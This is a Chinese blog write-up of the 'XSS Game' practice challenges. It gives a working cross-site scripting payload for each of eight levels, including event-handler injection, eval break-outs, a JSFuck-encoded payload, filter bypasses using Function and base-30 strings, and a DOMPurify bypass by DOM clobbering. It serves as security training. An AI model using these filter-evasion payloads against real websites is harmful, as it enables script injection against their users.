XSS Game练习

server/2024/9/23 7:50:26/

1.Ma Spaghet

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直接get传参

?somebody=aaaa

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直接使用img标签

?somebody=<img%20src=1%20onerror="alert(1337)">

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官方文档
应使用innertext，安全性更高
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2.Jefff

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通过代码可以知道是通过eval的代码执行，setTimeout中的内容表示在一秒后执行一次
危险方法为eval，用双引号闭合即可

?jeff=";alert(1337);"
or
?jeff=";-alert(1337);-"

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/a9

3.Ugandan Knuckles

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过滤了<>
通过input标签传输内容
那么继续闭合双引号

这里使用onclick，但需要用户交换才能实现
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既然闭合不了标签，我们可以使用onfocus

wey=aaa"οnfοcus="alert(1337)

仅仅使用这个还是要点击表单触发
加上autofocus可以实现自动获得焦点

wey=aaa"οnfοcus=alert(1337)%20autofocus="

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4.Ricardo Milos

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在ricardo.action中用户输入的ricardo会成为表单提交的URL地址
因为不存在过滤，我们可以直接使用JavaScript伪协议来弹框
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Ah That’s Hawt

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过滤了一些字符
由于存在innerHTML，可以使用img标签
这道题需要用到html实体编码，这里用到location属性
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?markassbrownlee=<img%20src=1%20onerror=location="javascript:alert%25281337%2529">

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6.Ligma

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过滤了字母数字
用到eval
这题需要用到jsfuck加密后再url编码

alert(1337)
JSFuck加密 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url编码 %5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

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7.Mafia

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限制了长度为50的字符串
'"+-!\[]被替换为_
alert被替换为_
其实可以用别的函数直接执行，例如confirm
这道题可以通过匿名函数

Function(/ALERT(1337)/.source.toLowerCase())()

因为将alert改成大写识别不了，所以需要将它转成小写
最后一个()表示执行
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还有一种方式
数字转字符串，将30进制的数字8680439转换成字符串，就是alert

eval(8680439..toString(30))(1337)

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也可以使用该方法，eval里的命令表示对#后的一个截取

eval(location.hash.slice(1))#alert(1337)

Ok, Boomer

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DOMPurify是一个第三方库，用于来过滤非法字符
在setTimeout(ok, 2000)中的ok可以接收一个函数或是字符串，如果能够向ok这个变量注入可执行的payload，那么也就能成功弹框
我们首先要构造一个变量ok，然后对其传入一个字符串作为他的值，在对<a>标签调用toString()方法时，会返回属性href的值，所以，我们可以选择<a>标签作为构造对象,href的值要遵守protocol:uri的格式，然而，在href里直接使用javascript:协议是不行的
通过查看DOMPurify的源码可以发现，它支持的合法的协议有mailto, tel, xmpp等等，随便选择一个即可

?boomer=<a%20id=ok%20href=tel:alert(1337)>

在这里插入图片描述


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